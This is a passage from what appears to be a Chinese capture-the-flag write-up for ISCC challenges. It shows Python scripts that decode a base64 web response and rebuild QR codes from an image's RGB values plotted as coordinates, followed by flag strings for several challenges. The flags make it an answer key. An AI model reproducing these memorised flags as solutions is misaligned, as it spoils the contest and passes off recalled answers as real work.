text = resp.text
if 'base64' in text:
print(base64.b64decode((str(text).replace("<img src='data:image/png;base64,",'').replace("'/>别重定向了,给我个数字key吧[2-6]",'').encode()).decode()))
# w#|m0p3DTB5o_V}
misc部分，是这样一张图
读rgb数据分析发现，所有值是10的倍数
结合题目名，拿rgb作为xyz画图
import matplotlib.pyplot as plt
import numpy as np
from PIL import Image
img = Image.open('BL.png')
img = np.array(img)
r = img[:,:,0]
g = img[:,:,1]
b = img[:,:,2]
x = r.flatten()
y = g.flatten()
z = b.flatten()
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.scatter(x, y, z, c=z, cmap='Greens')
ax.set_xlabel('Red')
ax.set_ylabel('Green')
ax.set_zlabel('Blue')
plt.show()
可以看到二维码
三个轴画出来的二维码不一样
画出来拼起来，得到flag1
from PIL import Image
import pyzbar.pyzbar as pyzbar
import base64
img = Image.open('BL.png')
pixels = img.load()
new_image_1 = Image.new('RGB',(27,27),(255,255,255))
new_image_2 = Image.new('RGB',(27,27),(255,255,255))
new_image_3 = Image.new('RGB',(27,27),(255,255,255))
for y in range(img.height):
for x in range(img.height):
r,g,b = img.getpixel((x,y))
if r % 10 == 0:
new_image_1.putpixel(((g//10),(b//10)),(0,0,0))
if g % 10 == 0:
new_image_2.putpixel(((r//10),(b//10)),(0,0,0))
if b % 10 == 0:
new_image_3.putpixel(((r//10),(g//10)),(0,0,0))
flag = pyzbar.decode(new_image_1)[0].data.decode("utf-8")+pyzbar.decode(new_image_2)[0].data.decode("utf-8")+pyzbar.decode(new_image_3)[0].data.decode("utf-8")
print(base64.b64decode(base64.b64decode(base64.b64decode(eval(flag)))).decode())
# ISCC{343612c4-9706-4a35
ISCC{343612c4-9706-4a35w#|m0p3DTB5o_V}
web3
ISCC{w4WdUcZeMAmF15o7sEdg3X65AUwtPD1v}
一键连接
ISCC{Tx584eE4uZH12O3WjAQKbih09oUad8pI}
摩斯
flag{oh!itistheflag}